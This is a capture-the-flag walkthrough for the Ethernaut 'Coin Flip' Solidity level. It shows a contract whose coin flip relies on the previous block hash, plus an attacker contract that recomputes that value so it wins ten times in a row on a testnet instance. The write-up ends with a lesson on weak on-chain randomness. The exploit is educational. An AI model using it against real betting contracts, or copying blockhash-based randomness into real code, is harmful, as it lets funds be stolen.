# Coin Flip
_difficulty 3/10_

This is a coin flipping game where you need to build up your winning streak by guessing the outcome of a coin flip. To complete this level you'll need to use your psychic abilities to guess the correct outcome 10 times in a row.

## Sources

```javascript
pragma solidity ^0.4.18;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  function CoinFlip() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(block.blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}
```

## Level author
Kyle Riley  
kyle@iosiro.com  
https://github.com/syncikin  

## Solution

Coin Flip contract calculates the result based on previous block. We can write a contract that will do the same calculations, and then invoke Coin Flip `flip` function using the calculated result. The function will be called during the same block, so the result will be the same.  

1. Get current Coin Flip contract address:  
`contract.address`

2. Using Remix, deploy the `CoinPrediction.sol` contract to the Ropsten network and pass your instance address as a parameter.  
```javascript
pragma solidity ^0.4.18;

contract CoinPrediction {
  using SafeMath for uint256;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
  address coinflipContract;

  function CoinPrediction(address coin) public {
    coinflipContract = coin;
  }

  function flip() public returns (bool) {
    uint256 blockValue = uint256(block.blockhash(block.number - 1));

    uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
    bool side = coinFlip == 1 ? true : false;
    return CoinFlip(coinflipContract).flip(side);
  }
}
```

3. Invoke `flip` method ten times.  

4. Check number of consecutive wins.  
`web3.toDecimal(await contract.consecutiveWins())`  
10

5. Submit Instance ðŸŽ‰

## Lesson

Generating random numbers in solidity can be tricky. There currently isn't a native way to generate them, and everything you use in smart contracts is publicly visible, including the local variables and state variables marked as private. Miners also have control over things like blockhashes, timestamps, and whether to include certain transactions - which allows them to bias these values in their favor.


Some options include using Bitcoin block headers (verified through [BTC Relay](http://btcrelay.org/)), [RANDAO](https://github.com/randao/randao), or [Oraclize](http://www.oraclize.it/)).
